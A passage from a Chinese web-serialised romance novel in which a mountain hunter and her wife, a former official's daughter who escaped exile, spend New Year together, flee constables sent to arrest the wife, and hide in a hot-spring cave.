小丫头怯怯的,她并不知道发生了什么事,但说好入冬后好好教她识字的老师却没来,总归是生了什么变故的。再加上今早她娘的一番叮嘱,大丫上山的一路都在忐忑,生怕自己会被拒之门外,难得的识字机会也会因此错失。 直到现在见到楚棠,见对方态度与往常似乎没什么变化,小丫头提着的心才放下了些。不过她也没敢问对方为什么不来教自己了,只将夏时没接的篮子又往前递了递:“老师,新年好。” 楚棠顿了顿,不用猜也知道,篮子里的东西肯定是田二嫂准备的。她有些无奈,这东西收也不是,不收也不是,可对上小丫头那可怜巴巴的眼神,还真不忍心让她失望。 夏时看出了她的心软,替她将篮子收下了,打开上面遮挡的布,就见是满满一篮子炸面片。 这也是当地小吃的一种,上好的白面加了糖和芝麻,擀成面皮切成菱形,放油锅里一炸又香又脆。只是不论白面还是糖油,对于农家来说都十分昂贵,所以这种小吃一般只有过年才做,而且也不会做许多。眼下这一篮子的炸面片,在村里绝对算得上一份不错的礼物了,送给师长绝不算失礼。 夏时当然不贪图这点吃的,但她也看出大丫的不安。她同样有些心软,便捻了一块炸面片递到楚棠唇边,对她说道:“尝尝看?” 楚棠抬眸看她一眼,又看了眼大丫,终于开始启唇吃了。 炸面片味道好不好不重要,她的评价也不重要,重要的是大丫看她吃了,终于将提着的心彻底放下。小丫头忐忑的眸子又恢复了灵动,亮晶晶的看着楚棠,直看得人越发心软。 ********************************************************** 大丫在山上待了小半天,被楚棠考较过后又学了几个新字。 除此之外,她还尝到了夏家的炸酥肉和炸丸子,离开时不仅带上了楚棠刚剪好的两副“福”字窗花,一副刚写好的对联,顺便那只装炸面片的小篮子也被装了个满满当当的回去。 夏时将人送出了门,看着小姑娘的身影在山道上越走越远,这才转道回去。 楚棠见她回来,不免叹口气:“当初教这姑娘识字,也不过是权宜之计,如今她这般上心真将我当老师看,我倒不好冷落了她……” 话音未落,纤腰便缠上了两条手臂,是夏时从身后搂住了她。 两人黏糊成了常态,可大白天这样搂搂抱抱也不常有,楚棠不解的拍拍夏时手臂:“怎么了?” 夏时脑袋埋在她肩膀上,脸在她颈边轻蹭,嘴里嘟嘟囔囔:“这个家从来就没贴过春联。说好的给家里写春联贴上,结果你写的第一幅春联居然给了别人。” 送出的春联事小,但夏时那满嘴的酸气,简直让人怀疑她偷偷去灶房喝了醋。 楚棠哭笑不得之余,都忍不住怀疑这人究竟几岁,怎么每次见到大丫,都要和那小丫头争风吃醋?!不过这个话题上回就说过了,楚棠也不再重复,她伸手向后戳了戳夏时的腰:“既然你在意这个,那我写的第一幅春联送出去了,不如今年的春联就由你来写吧,这总是第一幅了。” 夏时松开手臂,“噌”的一下就跳开了,也不知是被她戳到了腰间的痒痒肉,还是被她这话吓的。不过看她那扭头就跑的架势,应该是后者了:“灶房里还有很多事呢,我先过去了,你忙你的。” 说完这话她就想跑,结果楚棠今天异常敏捷,一把就抓住了她的衣裳:“让你写春联,你跑什么?” 夏时倒也不是不能挣脱,可楚棠是她老婆,逃得了一时逃不了一世。她只能苦巴巴回头,可怜兮兮卖惨:“好阿棠,放过我吧,就我那狗爬一样的字写春联,还要在大门口贴上一年,那得多惹人笑啊?就算来咱们家的人不多,就算村里人不识字,可他们总能认出美丑啊。” 这绝对是再真心不过的大实话,别的时候夏时可以壮着胆子献丑,也不在意自己字丑让楚棠笑话。可把那笔丑字贴在门口让人看上一年,她是真没那么厚的脸皮。 楚棠唇角略微动了动,刚要上扬又飞快压下,明显是在忍笑:“这有什么,知耻而后勇不是吗?你要觉得丢人,就好好练上一年的字,等明年再写一笔好字贴上去,对比之下不是更能证明自己吗?” 夏时:“……” 夏时一言难尽的看着楚棠,半晌挤出一句:“你认真的吗?” 楚棠看她那模样,终于忍不住“噗呲”一声笑了出来。这下夏时哪儿还不知道她是故意逗弄自己,当下又是好气又是好笑,伸手就去挠她痒痒,让她笑个够。 楚棠也就嘴皮子利落了,要比身手自然是比不过夏时的,被她挠得无处可躲,整间屋子里都是她的笑声。 两人笑闹了一阵,以楚棠主动亲亲夏时,将人哄好作为结束。不过转头她就又将蘸了墨的笔递到了夏时手里,然后在对方再次炸毛之前说道:“好了,不和你玩笑了。今年是咱们在一起过的第一个年,这春联咱们就一起写,不是更好吗?” 夏时炸起的毛瞬间就捋顺了,并且对这个提议疯狂心动,只是自己的字着实拿不出手…… 她又眼巴巴看向楚棠,后者轻笑一声,握住她的手,带着她一起运笔成字。 64☆、第64章 ◎就见楚棠头顶上第二次出现了字◎ 年关越来越近,新组成的小家准备也越来越充足。 年夜饭被夏时提前准备了个七七八八,春联和窗花也早早在楚棠手下成型,年前的最后一天,夏时甚至还带着楚棠去祭拜了她唯一的亲人——夏时她爹死于野兽之口,埋得其实并不远,是站在自己院子里就能看见的位置。但那只是个小小的坟包,也没有立碑,因此楚棠就算见过也并不认识。 小两口一起祭拜过长辈,像是取得了某种认可,又像是为她们这段毫无仪式的婚事多了一份见证。回去的时候夏时牵着楚棠的手,许久之前曾经出现在心中的念头,止不住又冒了头。 两人一边走,夏时一边说起了自己的打算:“今年已经过完了。等明年开春,我想去城里买些红布做身嫁衣,认认真真娶你进门可好?” 山野人家其实并没有太多讲究,像夏时把人带回家就说这是自己媳妇,任何人听了都不会质疑什么。山下村子里也多的是这样的夫妻,有钱操办婚礼的是少数,把人娶回家吃干抹净了还想着补办婚礼的,估计也就只有夏时这一个了。 楚棠闻言忍不住心中一动,她正是大好年华,又见过好友们的婚礼热闹,从前又怎么会没想象过自己的婚礼?可这一切都在楚家蒙难的那一刻破灭了,她现在甚至不敢轻易应承夏时这话。 万一夏时太过较真,还要去衙门办婚书怎么办?她的身份可一点经不起查! 沉默持续了一路,夏时也看出楚棠这是不想同意。但她不明白对方为什么不想同意,脚下的步子不由一停,扭头疑惑的看向楚棠。 楚棠对上她清澈的眼眸不由一顿,下意识抬手将对方的脸推了回去:“看路,别看我。”顿了顿又道:“明年的事,还是明年再说吧,现在说这些还太早。” 这明显是敷衍,可夏时还是乖乖“哦”了一声,没再追问。 …… 翌日便是除夕,天气比前几日更好,一大早太阳就露了头。 昨日有关婚礼的一番谈话并没有影响两人过年的心情,即便山中只有她们两个人一起过年,两人也把这天过得比往常更加热闹。 一大早两人就起床收拾起来,吃过早饭就开始贴春联,贴窗花。 打开院门才发现,门口不知何时多了一只篮子,里面装着一篮子甜糕。看模样就知道是农户自家做的,只不知这大清早又是谁送来的吃食? 夏时拎起篮子来仔细看了看,忍不住挠头:“大丫前两天才来过,这应该不是她家送的吧?” 楚棠看了眼篮子,又看了眼院子外薄薄的积雪,摇头道:“大丫送的就不会不敲门了。”她说着目光转向山中,又道:“我看门口脚印,应是从山中来的。” 山里还有什么人?别人不清楚,她俩可是再清楚不过了,只有钱家老两口。 这老两口也是真能藏,这都一个来月了,两人说藏在山洞里就藏在山洞里,别说下山回家看看情况了,就连夏时和楚棠两人在山中行走,也从没见过两人出来活动的痕迹。久而久之,甚至就连送两人进山的夏时,都快忘了两人的存在。 当然,楚棠和夏时是打定主意不与对方牵扯了。但老两口似乎没忘记她们的援手之恩,大过年偷偷送来这一篮子吃食,无非是心存感激,又知道她们不愿意过多联系。 别管这篮子甜糕价值几何,至少证明了对方有心,楚棠和夏时帮忙得到回报,心情自然不错。 夏时往山中方向看了一眼,也没多说什么,高高兴兴把篮子拎回了家。转过头,她又扛着把椅子,端着碗刚熬好的浆糊走了出来:“时间差不多了,贴春联吧。” 楚棠手里拿着几张红纸,正是两人前些天一起写的春联。 夏家父女俩从前将就度日,过年也就随随便便过,根本没想起过春联的事。等后来夏时一个人过,日子就更潦草了,因此她家门头上根本没有旧春联需要换。 当下把椅子往门口一摆,夏时踩上去手里的浆糊一沾一刷,转头就从楚棠手里接过春联贴了上去。 夏时动作麻利,整副春联贴好也没用上半盏茶,等贴好春联后她跳下椅子跑到门口一看,顿时美滋滋的笑开:“真好,这可真有了家的模样。” 楚棠没有看春联,而是扭头看着她的侧脸:“是啊,咱们又有家了。” 这话说出来几分感慨,但因为是附和夏时的话,后者并没有听出其中深意。她喜滋滋的感慨完,又扛起椅子拉着楚棠进门:“走走走,家里还有几个门,也都要贴上。” **************************************************************** 过年需要准备的事,前些天两人就准备得差不多了,除夕这日也就贴了贴春联。 山中还是冷清的,过年野兽们也不会庆祝,唯一算得上邻居的钱家老两口又像是见不得人,根本不会出来串门庆贺。倒是山下的村子,一大早就热闹起来,被关在家里一个冬天的小孩儿们更像是终于脱困的小鸟,叽叽喳喳吵闹个不停,就连在山中也能听到些动静。 夏时见楚棠站在山道上向下张望,不免走过去问道:“山上是不是太冷清了?左右下午没事,要不咱们下山去凑凑热闹?” 楚棠确实感觉到了几分冷清与寂寥,但听到夏时这样说,还是摇了摇头——左右都是些无关紧要的人,何必要去凑什么热闹?与其为这些不相干的人浪费时间,她宁愿和夏时腻在一起,左右她俩才是真正亲密的一家人。 夏时见状也没强求,揽着楚棠的腰,抱着人哄了哄。 与此同时,她心里忽然生出个念头来——她自己一个人,自然待在哪里都无妨。可现在家里有了楚棠,她终于觉得山中清冷,怕对方寂寞。之前楚棠会主动和田二嫂交好,也未必没有这方面原因,所以明年是不是该考虑搬去山下住呢? 搬家的想法在夏时心头徘徊,但一时半刻也没与楚棠说。两人腻在一起时间倒也过得快,不知不觉就到了半下午,中午将就吃了一顿的两人,年夜饭却是要好好准备起来了。 楚棠又坐在了灶膛前,已经相当熟练的开始点火了。夏时则将早先准备好的菜式拿出来再次加工或者加热,用不了多少时间,一桌子年夜饭就能做好。 两人正忙着,冷不丁就听到一阵敲门声,颇为急促。 夏时拎着锅铲愣了愣:“我怎么听到了敲门声?这时候谁会上门啊?” 她家可是山里的独门独院,再说也还没到年初一,谁会这么早来拜年不成?至于别的什么亲朋故旧,夏时是根本没有,楚棠的故旧也不会出现在这里。 两人都是一头的雾水,但听见外面敲门声不绝,也只得暂时放下手里的事出门去看。 院门一开,门口的人有些出乎意料,正是满头大汗的大丫,一看就是刚从山下跑上来的,这会儿见着两人气都还没喘匀呢。 夏时一怔,又看向山道:“大丫,你怎么又一个人来了?” 楚棠更细心些,这会儿已是眉头紧皱了,她掏出帕子替大丫擦了擦头上的汗:“大丫,出什么事了?是你家出了什么事,还是有人打你了?” 不然她想不出小丫头大过年突然跑上山的理由。 大丫却一把抓住了她擦汗的手,喘着气着急的说:“老师,快,快走!” 楚棠闻言心一紧,夏时也立刻意识到了不对,忙问:“到底怎么了,你要她走去哪里?” 大丫便指着山下急急说道:“山下,山下来了官差,说是要抓人。我娘,我娘说是来抓老师你的,让我赶紧上山报信。老师你,不对,还有师娘,你们一起快跑!” 当初田二嫂向楚棠推荐自家闺女时自夸过小孩儿聪明,大丫也确实聪明,楚棠隔三差五教她的字她都能记得清楚不说,这会儿说起正事来也算是清晰明了。只是夏时听完却有些不懂了,官差大过年来村里抓人就很离谱了,这事又和她老婆有什么关系? 她正疑惑着,眼角余光忽然瞥见有什么不对,猛地扭头一看,就见楚棠头顶上第二次出现了字。这次的字体没有上回那样大,颜色也是黑色的,写着:来了来了! 夏时看得满头雾水,什么来了? 然而这个问题显然没有人能回答她,甚至没有人和她一样看到那几个字——夏时忽然看向楚棠头顶的动作太过明显,一大一小两人都顺着她视线看了过去,只是看完之后两人眼中都是茫然。显然不论是楚棠还是大丫,都没能看到那悬空浮现的几个。 不过当下楚棠也没心思纠结这点异常,她一把抓住夏时的手,嘴唇嚅动几下,也不知从何说起。最后只挤出一句:“走吧,咱们出去避一避。” 这话一出,夏时就算再迟钝也意识到其中必有猫腻,但眼下着实不是深究的时候。 她也是个当机立断的人,知道官差都已经到了村子里,找上山来也不过一时半会儿的事。她先推了大丫一把:“我们知道了,大丫你快回去,要是半路遇上官差就先躲着。” 大丫应了一声也不迟疑,转头就又往山下跑了。 夏时则拉着楚棠迅速回屋,一面交代楚棠穿上厚衣,一面自己将猎刀弓箭背上。转头一想又不知这一躲什么时候回来,忙又将两人那沉甸甸的家底全都翻出来带上。 临走前想了想,又回灶房端了一盆酥肉,这才匆匆出门往山中去了。 65☆、第65章 ◎她得和老婆浪迹天涯去◎ 夏时不清楚究竟发生了什么,但她还是带着楚棠一路逃入了山中。 两人也没跑太远,在山中绕了个圈子,就跑去了温泉山洞。哪里有两人准备的简陋物资,位置也还算是隐蔽,暂时用来藏身再合适不过。 等到了地方,夏时让楚棠躲进了山洞里,搬来石头将洞口堵住的同时自己却没有进去。她把带来的酥肉塞到楚棠手里,叮嘱她道:“阿棠,你先吃点东西,在这里等会儿,我回去看看情况。大过年的来抓人,要是官差没进山还好说,要是他们追进了山里,咱们还得继续往深山里去。” 说这话时,夏时的心情和表情一样严肃——虽然最近天气还算不错,但这样寒冷的冬季往深山走可不是什么好选择。不说这恶劣的天气让人难捱,就是深山里的猛兽也会因饥饿更加凶残。 如无必要,夏时并不想带着楚棠去冒险,选择藏在这里也比进深山要好。 楚棠看得出夏时的严肃,可在她话音落下的那一刻,她还是一把抓住了夏时的手:“别!咱们刚才逃走,你这时候回去,和羊入虎口有什么区别?” 说到这个,夏时不禁笑了,带着几分自傲:“阿棠,我知道你是从京城而来,天子脚下的地方,官府也比别处更加厉害。可这里是丰乐县,小县城里的官差,你以为会有多厉害?别的不说,在这山林之中,他们想要抓住我……不,他们想要发现我,可没那么容易。” 楚棠盯着她眼睛看了一会儿,没从夏时眼中看出任何心虚犹豫,便知道她的自信不是没来由的。再加上夏时之前的话不无道理,于是抓住夏时的手渐渐放松下来。 夏时察觉到她心意转变,反握住楚棠的手捏了捏:“放心,我去去就回。” 丢下这句话,夏时彻底堵好了门,然后转身头也不回的跑了,敏捷的背影很快消失在视野之外。 楚棠依旧站在山洞口,抱着夏时赛过来的一盆子酥肉,透过堵门石头的缝隙往外张望,直到外间的天色渐渐暗沉下来——是了,她们本来都准备吃年夜饭了,时间本就不早。这样一番折腾下来,天黑也是正常的,只是夏时究竟什么时候才能回来? …… 夏时并没有说大话,她本就是自幼生长在山间的猎人,对这一片山林再熟悉不过。积雪不会是她的阻碍,黑暗也不会是,在这里她就是自由自在的风,谁也抓不住。 带着楚棠绕路来到温泉山洞花费了不少时间,夏时折返时用的时间不到一半。 天黑之前,她就已经重新回到了小院附近,隔着不近不远的距离观察着她的家——回来的路上她就查看过了,并没有发现有人进山的痕迹,此时重新回来,却发现“空无一人”的家里有了光亮。不确定是不是大丫说的官差,但总归不能轻易惊动对方,免得节外生枝。 夏时不乏耐心的等了等,暮色笼罩之下,天色很快彻底暗了下来。小院里灯火依旧,甚至伴随着山风,有热闹的人声隐约传了过来。 黑暗里,夏时就像是一只在山林间穿梭的灵猫,行动迅捷落地无声。 她渐渐靠近了自己的家,小心的避过了院墙外自己设下防野兽的陷阱,终于透过篱笆墙的缝隙看到了院子里的情形——大丫没有说谎,确实是有官差登门。七八个穿着差役服饰的男人正在她家的院子里大吃大喝,吃的是她准备的年夜饭,喝的是她家奶山羊宰了炖的汤。 夏时嘴角往下压了压,明显有些不愉。眼前这些人不像是官差,倒更像是匪徒强盗。不过人在这里吃吃喝喝,也总比真往山里去抓人来得好。 想到这里,夏时的目光不由落在了院子中央的火堆上——大晚上在这里点个火堆可是再显眼不过,逃走的人就算真有心回来看看,见这情形怕是也得被惊走了。所以这群官差大过年的不回家陪家里人守岁,跑来这山上也不是真心想抓人,到底图什么? 夏时想不明白,院子里七八个官差,也有人想不明白。 一个年纪明显偏小,眉眼还带着几分稚气的差役凑到了老人身边,顺手递过去一只羊腿:“李头,今晚咱们就在这里过了?大人不是说要抓人吗,年都不让咱们过好,就这样空手回去,怕是不好交代啊。” 李头是县衙里的老人了,四十来岁的年纪,眉间一个深深的“川”字。只是别看他长得一脸严肃,人却是个老油子,接了小差役的羊腿低头就咬了一大口,等这一口羊肉入肚,他才翻个白眼,没好气道:“交代什么交代?人都跑进山里了,咱们追了一夜没抓到人,大人又能说些什么?” 小差役一愣,看看院外黑黝黝的山林,又看看眼前热闹场景——篝火、羊汤、别人家准备好的年夜饭,有鱼有肉,甚至不嫌果子酿太甜的话还有酒。 说实话他自家过年都没这么丰盛的,哪里像是李头说的那样凄风惨雨? 身旁同伴见他转不过弯来,抬手就在他后脑勺上拍了一巴掌,骂了句:“傻小子。”然后指了指脚下的地:“你以为这里住的是什么人?是这附近有名的猎户,前两月还射死了一只豹子,这样的人逃进了山林你敢追?不要命了吗?!” 官府的人最有眼力,什么样的人能惹,什么样的人不能惹他们再清楚不过。平日里与人相处,他们也最会拿捏分寸,寻常事猎户不会与官府作对,但好端端抓人老婆这事可不算小。 小差役捂着后脑勺缩缩脖子,像是明白了厉害,可还是嘟哝了一句:“可这是抓逃犯……” 李头见他还不开窍,便瞪了他一眼:“哪儿来的逃犯?你收到过文书,还是看到过通缉令?”说完又是一口咬在羊腿上,狠狠撕扯下一块肉来:“左不过是哪家贵人灵机一动。可也不看看这什么日子,大过年的还要跑这深山老林里抓人,折腾的不都是咱们吗?” 显然,对于大过年还要来抓人,这群官差也是满肚子牢骚。他们本就没多积极,跑到夏时家看到那一灶房准备好的年夜饭,索性也就不去追了,打算在这里糊弄一夜就回去复命。 夏时躲在院墙外听了个大概,知道这群官差没打算进山,心也放下了大半。只是那什么“逃犯”“贵人”的言论,说得她满头雾水,却是想不到究竟得罪了谁,惹来这祸端。 脚下依旧轻巧无声,夏时一步步退开,远离了火光明亮的小院。 踏着夜色,夏时一路跑回了温泉山洞,刚推开堵洞口的石头,就被眼前的人影吓了一跳。所幸她也没犯傻,知道山洞里只有楚棠一人,于是忙伸手将人抱住:“阿棠,你怎么站在这里?” 此时山洞内外都是黑漆漆一片,饶是夏时眼力不错,也只能看到个黑色的轮廓。是以她是将人抱进了怀里,才发现了楚棠手里还抱着那只装着酥肉的盆……也不知她究竟在这里站了多久,身体都有些僵了,被夏时抱着才渐渐放松下来。 楚棠抬手摸了摸夏时脸颊,难得这次她的手是暖的,倒是夏时一路吹了不少冷风,脸颊冰凉一片。她摸摸那冰冷的脸,堵在胸口的那股气终于缓缓吐出。 “你,没事吧?”楚棠的声音有点哑,像是着了凉。 夏时拥着她往山洞里走,边走边说:“当然没事,我这不是回来了吗?放心,那些官差没进山,就是咱们准备的年夜饭,算是便宜他们了。” 楚棠听罢紧绷的心弦彻底放松下来,而后又听夏时说了自己此行的所见所闻。 两人摸黑走到小榻旁,夏时窸窸窣窣一阵摸索,这山洞里虽然没准备灯烛,但上回烤鱼后又补充了不少柴木。这时点上一个小火堆,取暖倒在其次,那温暖的火光正可驱散人心中的不安。 橙红的火光跳跃着映入了楚棠的眼帘,夏时回头一看才发现,她脸色还有些发白。夏时只当她是被这忽然的变故吓到了,忙过去将人抱了抱,又拍拍她后背安抚:“好了,没事了,等过了今夜,那些官差回去复命没找到人,这事也就过去了。大不了最近都别去城里,也不妨碍咱们什么。” 她说得轻描淡写,也并不太将这事放在心上,大有惹不起躲得起的意思。 楚棠却没有接话,沉默了好一会儿才说道:“那些官差明日会走,但这事恐怕并没有那么容易过去……阿时,我还从未与你说过,我的过往。” 夏时愣了愣,旋即笑道:“怎么,难不成你还真是什么逃犯?那你是杀过人,还是抢过劫啊?” 她显然是在说自以为的玩笑话,也并不觉得自家娇娇弱弱的老婆会犯什么事。说话间她还捏了捏楚棠的手,那只手纤细修长,柔若无骨,怎么看都是一副手无缚鸡之力的模样。 楚棠当然没杀过人,也没抢过劫,她只是个被连累的罪人家眷罢了。 反手握住夏时温暖却粗糙的手掌,楚棠脸颊肌肉紧绷,终于吐露了以为永远不会说出来的秘密:“我不是逃犯,但在被你买下来之前,我是在流放路上被那些人贩子捡回去的。” 夏时“啊”了一声,眨眨眼,脑海里冒出来的第一个念头就是:这家怕是真不能回了,她得和老婆浪迹天涯去! 66☆、第66章 ◎你会一直陪着我的,对吧◎ 暖意融融的山洞里,火光微微跳跃着。 夏时抱膝坐在火堆前,听楚棠将自己的过往娓娓道来。 她的目光大多数落在了跳跃的火苗上,只偶尔才侧眸看看身旁的人——此时此刻,她忽然觉得熟悉的枕边人身上有了陌生感,让她的内心多了几分惶惶然。 夏时当然不是介意楚棠的“逃犯”身份,听她说起流放路上的辛苦,她也只会心疼对方。可京城太过遥远了,尚书又是什么样的大官?还有对方口中的皇子公主,争权夺利,那些距离她这个只为三餐奔走的小小猎户都太过遥远了,遥远到让她心生畏惧。 楚棠也抱膝而坐,却并没有与夏时挨在一起,两人中间隔了约莫一拳的距离,不远也不近。 她许久没有和人说过自己的曾经了,那些远离如今平静,却切切实实占据了她大半人生的过往……这几个月的山中生活安宁又平淡,险些让她以为自己已经忘记了那些。可当话出口时她才发现,有些东西是根本不能抛弃的,也并不是她想抛下就能抛下的。 直到楚棠停止了述说,山洞里重归平静,夏时又等了一会儿才终于找回了自己的声音。她侧头望着楚棠,眼神里有担忧也有复杂:“所以你觉得那些官差口中的‘贵人’,是京城那边争斗的延续?” 楚棠也回头看她,对上夏时黝黑的眸子:“你不相信?” 夏时皱了下眉头,依旧觉得不可思议:“可这里距离京城很远。而且你在流放路上重病,他们以为你已经死了才会把你丢下的,怎么可能又来捉你?” 楚棠其实也没有十分的确定,毕竟楚家在京城的争斗中早已经落败,失败者是很少会被人继续放在心上的。更何况她楚棠又不是什么重要人物,不过是个连出仕都做不到的闺阁女儿,敌人就算想要赶尽杀绝,一般也很少冲着妇孺下手,否则名声就很难听了。 可是除此之外,楚棠便想不到自己会被人如此针对的理由,官府甚至都等不及过完年便急匆匆派了官差上山来捉她。要说其中没有猫腻,别说是她和夏时了,就是大丫也不会信。 楚棠没有回话,但她的眼神说明了她的想法,夏时虽然质疑却也找不到理由反驳。 又过了一阵,楚棠伸手扯了扯夏时的衣袖:“现在知道了这些,接下来咱们该怎么办,你有想过吗?” 如果那些官差是两个月前来到山上抓人,楚棠多半会抛开夏时独自离开。并不是因为她狠心,而是因为她不想连累对方。可现在两人已有了夫妻之实,一切自然不同了,她既舍不得抛下对方,也从心里对夏时多了几分依赖,自然而然觉得两人本是一体,可以一起面对困难。 所幸夏时也从来没想过要与楚棠分开。两人之前各坐一边,也不过是因为话题带来的距离感,让人需要一个适应的过程。现在过往叙述完了,摆在眼前的依旧是现实。 夏时身子当即一挪,两人间相隔的一拳距离迅速消失不见,她抬手便将人揽入怀中,想了想说道:“我没什么想法,但不论如何,不会让你置身险境就是了。” 楚棠靠在她肩上,听出了这话中深意,伸手拽住夏时衣襟的同时心里也是五味陈杂。 时人总是看重故乡的,因为人在故乡才能更好的生存。可夏时那话*的意思分明就是官府如果继续追究的话,她就会带着自己逃离这里——背井离乡,这四个字的分量从来不轻! 夏时察觉到衣襟被拽住,也从楚棠那抓得紧紧的手看出了她的不安,当下用脸颊贴过去蹭了蹭楚棠的脸颊,笑道:“放心,就算离开这里,我打猎的本事也不会丢。再说你不是还有一箱金子吗,这些钱也够我们换个地方重新安家了。” 楚棠看她笑得轻松,那双黑眸里也不见半分阴霾,压在心头的沉重才渐渐放松了些。她抓着夏时衣襟的手也松了松,却没放开:“不论去哪儿,你会一直陪着我的,对吧?” 夏时低头,在她唇上啄了一口,用额头抵着她的额头:“当然,你可是我媳妇。” 楚棠紧绷了一夜的眉目终于舒展开,勾着夏时的后颈,便直接吻了上去。 *********************************************************** 两人度过了一个堪称兵荒马乱的除夕,但日升日落,从不因人而改。 翌日清晨,两人是紧拥着从小榻上醒来的。前一夜虽然因为心事重重睡得有些迟,可也是因为那些心事,两人一大早就清醒了过来,睡意飞快散去。 起床后两人一番洗漱,又点火煮了一小锅粥,就着昨夜剩下的酥肉一起吃了当做早餐。 等到吃饱喝足,夏时起身活动一番,便对楚棠说道:“阿棠,你今日别出去了,就在山洞里等着。我再回去一趟,看看那些官差走没走。” 两人昨夜说好了背井离乡,但那也是最糟糕情况下的选择,如果可以的话,她们其实也并不想离开熟悉的家——万一官府的人就是跑这一趟走个过场,之后再没有后续,说不定她们可以在山里另搭个屋子继续过日子。否则离开了丰乐县,天地虽大,她们一时也想不到合适的去处。 夏时心里是这般乐观的想法,楚棠看出来也没泼凉水,说到底官差上门的原因只是她的猜测。万一她猜错了呢?哪怕平安无事的可能性不大,但也还是再看看吧。 怀着这样的心情,楚棠也没阻拦夏时,替她理了理衣襟就放人离开了。 夏时走出山洞重新堵好洞口,迎着晨风再次向家跑去。 这次她也没放松警惕,一边跑一边观察周围,始终没有发现有人活动的痕迹,这才确定昨晚那群官差是真的没有踏入山林一步。 等回到小院,远远看着那紧闭的院门,夏时就知道里面的人恐怕还没走——官差可不是什么客气有礼的人,他们既然闯进了她家,离开时就不会再细心的替她将院门关好。除非里面的人还在,怕山里野兽闯进去伤人,这才将院门紧紧关着。 事实也是如此,夏时一直在外面等到了快晌午,躲在屋子里睡大觉的官差们才陆陆续续开门出来。他们昨夜显然过得还不错,个个红光满面,一点没有连夜奔劳的疲惫。 李头对摸鱼这事也是相当有经验了,一看兄弟们这脸色就知道,这样回去根本糊弄不了人。 他招招手,就把昨晚那愣头青一样的小差役叫了过来。后者听话的凑了过去,还没来得及问有什么事,就被李头一扫腿直接摔了个大马趴。 夏时有精心打理过自家院子,但这精心显然也没精心到给院子里铺上青石板,是以积雪化后的院子里多少有些泥泞。小差役这一摔,不仅自己摔得浑身是泥,周围的官差身上也难免溅上些泥点。 不过没人有怨言,几个官差都嘻嘻哈哈的,还有故意往身上甩泥往脸上抹土的,很快将自己弄了个灰头土脸。昨夜喝羊汤吃大鱼大肉,外加一夜好眠养出来的好脸色,迅速被这些粗暴的手段遮掩了过去。等小差役一瘸一拐从地上爬起来,还有人去搀扶他。 李头见状满意的点点头,冲众人一挥手:“走吧,回去复命。都把小唐扶好了,他昨夜摸黑上山踩空,摔得可不轻,说不得还得告假几天呢。” 众人应了,小差役听到有假期,心里的那点怨气也散了。 一群人赶在中午前,终于下山去了。石田村的人看着他们气势汹汹上山,又看着他们浑身狼狈的离开,各个讳莫如深,连带着年初一的喜庆热闹似乎都被这群人带走了。 夏时一路暗中跟随,直到看着这群官差渐渐消失在官道尽头,这才停下脚步转身回山。 她很确定,这就是群偷奸耍滑的官差,按照他们的心意和本事来说,很难给二人造成威胁。但有些事不是低下的小喽啰想敷衍就能敷衍过去的,这群人现在离开了,也不代表他们改日不会再来。 夏时没有跟去县城看看的想法,更没有去跟田二嫂家报平安,她避开所有人耳目回到山上。路过自家院门大开的院子时,也只是站在院门口看了一眼,根本连院门都没有进,就这样任由院子保持原样。 她又回到了温泉山洞,挪开堵门的时候见到楚棠时,对方的状态比昨夜好了不知多少。 楚棠听到动静迎了过来,目光快速在夏时身上扫过,见她身上干干净净连泥点都没沾上几个这才放心。接着还没来得及开口询问,就听夏时笑道:“那群官差走了,我看着他们下山往县城方向去的。” 她说完又将自己看到的一场好戏说来给楚棠听,语调甚是轻快,末了才道:“人虽然走了,但我觉得咱们最近还是别回去的好,说不准什么时候对方再来个回马枪。” 要真如此,到时候可不会再有大丫第二次赶来通风报信了。 这是个很明智的提议,楚棠自然点头同意了。她目光越过夏时望向山洞外,已经晴了几日的天,今日又有了变化,天空看上去阴沉沉的,说不准什么时候又会下雪。 就算要离开,雪天也难成行,所以还是等等吧,最好能等到开春。 67☆、第67章 ◎只觉得心像是被无形的大手揪了一下◎ 楚棠的想法很好,但事情往往不能如个人期望的那般发展。 从年初一开始,之后的几日风雪接连不断,年前的好天气像是最后的温柔。 楚棠和夏时暂住在温泉山洞里,这里虽然不冷,但每日透过洞口缝隙看见外面鹅毛大雪飘飘扬扬的场面,也让人难免生出几分忧虑来。 尤其夏时这些天并没有闲着,她几乎是一天三趟的往外跑——这山洞本就只是个临时居所,虽然准备了不少东西备用,但谁也没想过会在这里长住。因此山洞里准备的米粮不多,新鲜的食材就更不必提了,夏时每天都得想办法找些吃食回来补充。 不过食物欠缺也不是夏时外出这么勤快的全部理由,她之所以每日都不得空闲,主要还是时常回去看看小院的动静。那群官差回去之后糊弄过去了自然是好,如果糊弄不过去挨了罚,最近恐怕就会再次上山。她不想错过半点动向,也不想去城里冒险,就只能这样一趟趟的回去看了。 所幸接连几日下来,小院依旧是门扉大敞,并没有人来过的样子。 这日夏时照常外出,楚棠看着山洞外大雪飘飞有些担心,便将自己的皮裘披在了夏时身上。她也没劝过夏时不要外出,只叮嘱她:“小心些,别着凉了,如今可不好请大夫。” 这话既是关心,也是现实,夏时很能听进去。因此向来仗着身体好嫌弃皮裘太沉的她,这次也没有拒绝,笑嘻嘻将皮裘一拢,又在楚棠唇上亲了一下:“放心,我去去就回,不会耽搁太久的。” 楚棠应了一声,如之前一般目送她搬开石头出去,转头又将洞口重新堵上。 几片雪花伴随着寒风趁机闯入了山洞,只是还没等落在楚棠身上,就被山洞里的热气熏化,变成一点水滴落在地上,很快便消融不见。 而另一边,夏时眯眼瞧了瞧白茫茫的山林,脚下一丝耽搁也没有,飞快向着远处奔去。不多时人影便去得远了,只在地面积雪上留下两行浅浅的足印。而这足印在大雪下也难长久留存,不到一刻钟的功夫便被新雪覆盖,很难再寻到踪迹。 雪天的山路很是难行,飘扬的风雪更是阻碍视线,但对于夏时来说妨碍并不算大。 她踩着熟悉的道路一路跑回了熟悉的小院,远远看去院子还是那般模样,院门敞开着,院子里一地的积雪,既没有被人踩踏过,也没有被人打扫过。 维持原样挺好的,如果那群官差再也不来,那就更好了。 夏时拢了拢身上的皮裘,就打算转身回去了,只是临转身前心里忽然生出些异样来,当即让这个经验丰富的猎人停住了脚步。她又眯起眼,再次往那院子里看去——白茫茫的积雪,白茫茫的飘雪,入目所见似乎都被白色占据,让人很难发现细微的不对。 可夏时盯着院子地面看了会儿,终究还是发现了不对。有些地方的积雪虽新,却微微凹陷,而她家院子十分平整,正常落雪肯定不会形成这样的积雪。 有人进过这院子了,就在不久之前! 